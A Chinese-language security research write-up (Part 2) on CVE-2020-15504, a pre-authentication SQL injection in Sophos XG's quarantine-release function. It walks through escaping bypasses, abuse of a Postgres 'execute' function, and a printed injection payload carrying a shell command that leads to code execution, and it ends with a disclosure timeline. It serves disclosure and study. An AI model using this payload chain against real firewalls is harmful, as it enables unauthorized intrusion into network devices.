CVE-2020-15504:Sophos XG RCE漏洞分析(Part 2)

 

0x05 挖掘0-day(CVE-2020-15504)

除了diff分析补丁包之外,我们还可以通过另一种方式来发现n-day漏洞:分析不需要身份认证的(可以通过/webconsole/Controller端点调用的)所有后端函数。我们可以从Java函数getPreAuthOperationList中提取出对应的函数编号。

private static ArrayList<Integer> getPreAuthOperationList() {
    final ArrayList<Integer> modeList = new ArrayList<Integer>();
    modeList.add(151);
    modeList.add(1503);
    modeList.add(6000);
    [...]
    return modeList;
}

Perl代码中如何防护SQLi

尽管后端没有通过prepared-statement来执行所有SQL操作,但这些操作并不会自动受到注入影响。

OPCODE login {
  [...]
    result = QUERY "select usertype from tbluser where username=lower('$request->{username}') and usertype = $CYBEROAMDEFAULTADMIN"
    IF("defined $result->{output}->{usertype}[0]") {
        [...]

这是因为通过299端口传入的所有函数参数在被处理之前,都会自动被escapeRequest函数转义。

sub escapeRequest{
    my $class=shift;
    my $request=shift;
    foreach my $key ( keys % {$request}){
        if(ref($request->{$key}) eq 'ARRAY'){
            [...]
        }elsif(ref($request->{$key}) eq 'HASH'){
            [...]            
        }else{
            if($request->{$key} ne ''){
                $request->{$key}=~ s/\\\'/\'/g;
                $request->{$key}=~ s/\\\\/\\/g;
                $request->{$key}=~ s/\t/\\t/g;
                $request->{$key}=~ s/\\/\\\\/g;
                $request->{$key}=~ s/\'/\\\'/g;
            }
        }
    }
    return $request;
}

寻找脆弱点

我们注意到一个函数:RELEASEQUARANTINEMAILFROMMAIL (NR 2531),对应的代码逻辑会悄悄绕过自动转义。该函数会将用户可控的某个参数当成Base64字符串,在SQL语句中使用并解码该参数。由于全局转义操作会在该函数被调用前执行,因此只能看到经过编码的字符串,不会看到要处理的任何特殊字符(比如单引号)。

参数在解码后,会被拆分为不同的变量。代码会根据HTTP请求中使用的key=value模式来解析字符串。我们需要重点关注hdnFilePath变量,该值并不需要满足任何复杂的条件,并且最终会出现在随后的SQL语句中。

OPCODE mergequarantine_manage{

    IF("defined $request->{release} and $request->{release} ne '' "){
        use MIME::Base64;
        $param = decode_base64($request->{release});

        [...]
        // Code White: rcptData[1] is derived from $param
        @filePathData = split(/&hdnDestDomain=/, $rcptData[1]);
        $requestData{hdnFilePath}=$filePathData[0];

        my $email_regex='^([\.]?[_\-\!\#\{\}\$\%\^\&\*\+\=\|\?\'\\\\\\/a-zA-Z0-9])*@([a-zA-Z0-9]([-]?[a-zA-Z0-9]+)*\.)+([a-zA-Z0-9]{0,24})$';        
        if($requestData{hdnRecipient} =~ /$email_regex/ && ((defined $requestData{hdnSender} && $requestData{hdnSender} eq '') || $requestData{hdnSender} =~ /$email_regex/) && index($requestData{hdnFilePath},'../') == -1){
            $validate_email="true";
        }

        IF("$validate_email eq 'false'"){
            <code>%response=("status"=>"548","statusmessage"=>"Invalid URL");</code>
            REPLY  %response 500
        }

        $iviewQuery= "select messageid,reason,isavas from (select messageid,COALESCE(NULLIF('',''),NULL) as reason,'as' as isavas from  tblquarantinespammailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select  messageid,COALESCE(NULLIF('',''),NULL) as reason ,'as' as isavas from tblquarantinespammailmergev5  where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'as' as isavas from  tblquarantinespammailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'av' as isavas from  tblquarantinemailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' ) as tbl";            
        [...]
        quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)        
    }
}

$requestData{hdnFilePath}有唯一一个限制:不包含../(但这与我们的目标无关)。使用特殊的格式构造一个release参数后,我们可以在上述SELECT语句中触发一个SQLi。在构造过程中,我们不能破坏语法,我们控制的参数会被插入查询语句6次,因此要小心处理。

图12. 通过SQLi触发数据库sleep(由于sleep命令被注入6次,因此有6秒延迟)

升级Select语句

能够触发sleep后,攻击者就可以使用已知的SQL盲注技术来读取任意数据库值。底层的Postgres实例(iviewdb)与n-day漏洞攻击的目标实例不同,该数据库似乎并不会存储对后续攻击有用的任何值,因此我们选择使用另一种方法。

思考Asnarök所使用的代码执行技术后,我们的目标是与SELECT操作一起执行INSERT操作。从理论上讲,我们可以通过堆叠查询来轻松完成这个任务。经过一些试验后,我们确定目标上部署的Postgres版本以及使用的数据库API支持堆叠查询,然而我们无法通过SQLi完成该任务。我们发现函数iviewdb_query/lib/libcscaid.so)会在提交查询之前调用escape_string/usr/bin/csc)函数。由于该函数会转义SQL语句中的所有分号,因此我们无法使用堆叠查询。

不轻言放弃

此时,我们可以在iviewdb数据库中,通过SELECT语句触发未授权SQL注入,但这并没有帮助我们提升至RCE效果。我们不想放弃努力,因此开始寻找其他办法。最终我们提出了一个想法:如果我们修改payload,使SQL语句能够以我们预期的方式返回值呢?这样我们能否触发后续Perl逻辑,最终实现代码执行?为了在查询列中返回任意值,我们经过多次尝试构造payload,最终成功完成任务。

图13. 执行SELECT语句,返回payload中指定的值

成功构造出这类payload后,我们接着关注后续的Perl逻辑。分析源代码后,我们在数据库查询语句后找到了一个潜在的EXEC调用,该调用所使用的某个参数来自于用户控制的某个变量。

quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
GET g_ha_mode
IF("!defined $quarantinQuery->{output}->{messageid} || $quarantinQuery->{output}->{messageid}[0] eq ''"){
    IF ("$g_ha_mode == $HA_ENABLED") {
        GET g_ha_ownstatus
        IF ("$g_ha_ownstatus == $HA_PRIM"){
            result = QUERY "select peerdedicatedip from tblhaparam"
            <code>$peerdedicatedip=$result->{output}->{peerdedicatedip}[0];</code>
            <code>
                $jsonbody = "{\\\"hdnRecipient\\\":\\\"$requestData{hdnRecipient}\\\",\\\"hdnFilePath\\\":\\\"$requestData{hdnFilePath}\\\"}";
            </code>
            out = EXEC /bin/dbclient -n -I "60" -y  -l hauser $peerdedicatedip /bin/opcode check_mail_availability_HA -t "json" -b $jsonbody -s nosync

不幸的是,在默认设置中,变量$g_ha_mode(很有可能与高可用性功能有关)的值为false,因此我们只能寻找更好的方法。函数mergequarantine_manage并没有其他exec调用,但会在正确的条件下触发同一个文件中的其他两个Perl函数。这些函数通过apiInterface opcode触发,该opcode会在299端口上生成新的CSC请求。

for($qurcnt=0;$qurcnt<scalar(@messageid);$qurcnt++){
    if($isavasArr[$qurcnt] eq 'av' && $request->{action} ne 'release' && ($reasonarr[$qurcnt] ne '12' || $reasonarr[$qurcnt] eq '12')){
        push(@avmessageidArr,$messageid[$qurcnt]);
        push(@avrecipientArr,$rcptArr[$qurcnt]);
    }elsif($isavasArr[$qurcnt] eq 'as' || ($isavasArr[$qurcnt] eq 'av' && $request->{action} eq 'release' && $reasonarr[$qurcnt] eq '12')){
        push(@asmessageidArr,$messageid[$qurcnt]);
        push(@asrecipientArr,$rcptArr[$qurcnt]);
    }
}
# Code White: 831 == manage_quarantine
%spamqueReq=("mode"=>"831","hdnMessageid"=>\@asmessageidArr,"hdnRecipient"=>\@asrecipientArr,"action"=>"$request->{action}","reason"=>\@reasonarr);
# Code White: 833 == manage_malware_quarantine
%malwareReq=("mode"=>"833","messageid"=>\@avmessageidArr,"recipient"=>\@avrecipientArr,"action"=>"$request->{action}");

在我们的环境中,$request->{action}始终被设置为release,因此会限制我们调用manage_quarantine。该函数会使用自己提交的参数(mergequarantine_manage中查询结果集)来触发另一个SELECT语句。当该语句返回匹配值时,就会触发EXEC调用,将返回的某个值作为参数传入。

OPCODE manage_quarantine{
        [...]
        $iviewQuery= "select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from (select messageid,sender,recipient,subject,quarantinearea, CAST(INET_NTOA(destdomain) as inet) as destdomain,0 as reason from tblquarantinespammailmerge where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,0 as reason from tblquarantinespammailmergev5  where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from tblquarantinespammailmergev6  where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]') as tbl";

        [...]
        quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)

        $mailFrom = $quarantinQuery->{output}->{sender}[0];        
        $strSubject=$quarantinQuery->{output}->{subject}[0];        
        $file =$quarantinQuery->{output}->{quarantinearea}[0];
        $mailTo   = $quarantinQuery->{output}->{recipient}[0];            

        [...]
        IF("$file =~/.eml/ || $file =~ /0x2/") {
            #convert eml file to -H and -D files
            newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '$file' '/sdisk/quarantine/'
            <code>
                chomp($newfile->{output});
                $file= "/sdisk/spool/tmp/" . $newfile->{output};
            </code>
            LOG applog "new mail file: $newfile->{output}\n"
        }

现在的问题是,我们如何通过第一个语句的结果集来控制第二个SELECT语句的结果集?我们是否可以通过第一次查询的返回值,在第二次查询中触发SQLi?由于构造语句时采用了字符串拼接方式,因此理论上这种方法可行。然而不幸的是,在花了大量精力构造这类payload后,我们还是无法获取所需的结果。简要分析payload的处理过程后,我们发现payload在达到第二个查询前已经被转义过。由于函数通过新的CSC请求触发,因此会自动经过前文提到的转义逻辑进行处理。

止步于SQLi?绝不言败

为了实现注入点的有效利用,我们深入分析了其中涉及的相关组件。在前期利用阶段,我们已经完整dump出iviewdb数据库,当我们发现其中并没有包含任何有用信息后,我们就没有仔细观察其中内容。重新观察该数据库后,我们注意到设备会使用大量数据库中的某个功能:用户定义函数。

我们可以通过用户定义函数的方式来定义自己的SQL函数,从而扩展预定义的数据库操作。我们可以通过Postgres自己的语言(PL/pgSQL)来完成该任务。这类函数对我们的攻击场景非常有用,因此我们可以在SELECT语句中内联调用前面定义的函数。调用语法与其他SQL函数相同,即SELECT my_function(param1, param2) FROM table;

因此现在我们的思路是,已有的用户定义函数可能可以用来执行堆叠查询。如果函数中没有正确过滤SQL语句,那么就满足这个利用条件。我们遍历了数据库dump文件,发现满足该模式的多个代码块。令我们惊讶的是,我们找到了执行任意语句的一个简单方法:execute函数。该代码只接受一个参数,会作为SQL语句直接执行,没有经过进一步检查。

CREATE FUNCTION execute(query text) RETURNS void
    LANGUAGE plpgsql
    AS $$ 
BEGIN
    execute query;
EXCEPTION
    WHEN OTHERS THEN
           RAISE NOTICE 'Exception Occured while executing : %', query;
END
$$;

理论上这个函数可以允许我们在mergequarantine_manageSELECT查询中执行INSERT语句,以便在表tblquarantinespammailmerge中添加数据库行,最终用在manage_quarantineexec调用中。

图14. 通过SELECT语句中的execute函数触发INSERT语句

经过一番摸索后,我们成功构造出正确的payload,如下所示:

mode=2531&
release=<@base64_0>
hdnSender=s@s.com
&hdnRecipient=r@r.com&

hdnFilePath=
    H' UNION SELECT
        'a' || execute('
            DELETE FROM tblquarantinespammailmerge where messageid = chr(97);
            INSERT INTO tblquarantinespammailmerge(messageid,sender,recipient,subject,quarantinearea,destdomain) values(chr(97), chr(66), \'r@r.com\', chr(69), encode(decode(\'<@base64_1>; sleep 10; echo test.eml<@/base64_1>\', \'base64\'), \'escape\'), 1)
            ') as messageid,
        'b' as reason,
        'as' as isavas
               UNION SELECT messageid,'b' as reason, 'c' as isavas FROM  tblquarantinespammailmerge where quarantinearea='&hdnDestDomain=DESTDOMAIN
<@/base64_0>

以上代码具体解释如下:

1、第1-2行:定义mode 25331所需的2个HTTP参数;

2、第3-6行:定义3个Base64编码参数,以便通过mergequarantine_manage中初始化检查;

3、第7行:注入单引号,触发SQLi;

4、第8-11行:利用用户定义函数execute,触发与预定义的SELECT不同的SQL操作;

5、第10行:在表tblquarantinespammailmerge中添加新行,在其中的quarantinearea字段中包含我们的代码执行payload,并将messageid设置为'a'。需要注意的是payload中的.eml部分,这样才能访问到exec调用;

6、删除tblquarantinespammailmergemessageid等于'a'的所有行,确保该表中只包含我们payload的一个实例(在初始语句中该向量会被注入6次)。尽管这不是一个必须执行的操作,但可以简化manage_quarantineSELECT语句后的代码路径,避免我们的payload被多次执行。

7、第12-14行:遵循预定义语句的语法。

使用上述payload后,我们可以执行如下Perl命令:

newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '; sleep 10; echo test.eml' '/sdisk/quarantine/'

现在我们终于完成任务,但似乎并没有任何时间延迟,这表明我们的sleep实际上并没有被触发。我们使用的执行机制不就是之前n-day漏洞所使用的执行机制吗?事实上这两者的确有所不同。Asnarök使用的是EXECSH,我们使用的是EXEC。不幸的是,EXEC能够正确处理参数中的空格,将其作为单个值传入脚本。

大功告成

既然前面做了那么多工作,现在我们只能继续前行。最终我们还是通过SQLi实现代码执行,这得感谢Perl的大力帮助。

[...]
my $emlfile=$ARGV[1] ."/" . $ARGV[0];

my $detailio = new IO::Handle;
open($detailio, ">>$filewritingdata") or die("Cannot write $filewritingdata: $!\n");
[...]

my $emlio = new IO::Handle;
open($emlio, $emlfile) or
    die("Cannot write $emlfile: $!\n");

将最后这部分代码加入攻击链后,我们还需要解决payload中的一个小问题,这部分工作留给大家来完成。

图15. 利用漏洞触发反向shell

 

0x06 时间线

以下采用UTC时间。

2020年4月5日22:48:通过BugCrowd向Sophos提交漏洞。
2020年4月5日23:56:Sophos确认收到报告。
2020年5月5日12:23:Sophos称能够复现问题,正在解决问题。
2020年5月5日:Sophos发布第一版自动补丁。
2020年5月16日23:55:我们反馈修补程序中增加的安全机制可能被绕过。
2020年5月21日:Sophos发布了第二版修补,该修补禁用了预身份认证邮件隔离放行功能。
2020年6月:官方发布包含内置补丁的18.0 MR1-1固件。
2020年7月:官方发布包含内置补丁的17.5 MR13固件。
2020年7月13日:在确保大多数设备已收到补丁,或者安装新版固件后,我们与厂商协商发布本文。

(完)